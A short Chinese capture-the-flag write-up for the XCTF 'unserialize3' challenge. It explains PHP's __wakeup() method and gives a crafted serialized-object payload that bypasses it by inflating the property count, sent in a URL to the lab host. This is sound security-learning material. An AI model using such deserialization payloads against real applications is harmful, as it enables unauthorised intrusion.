unserialize3
打开环境,是一段代码
function用于声明函数
PHP 的魔术方法函数
由上图可知,__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,但是在题目代码中并没有序列化字符串。于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象a)
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$a = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($a)); //输出被序列化的对象(peak)
?>
执行php代码,结果如下:
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
/*xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/
所以我们要将1改为2,构造pyload
http://111.200.241.244:53454/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
成功得到flag
本文参考这篇文章xctf的unserialize3
感谢这位大佬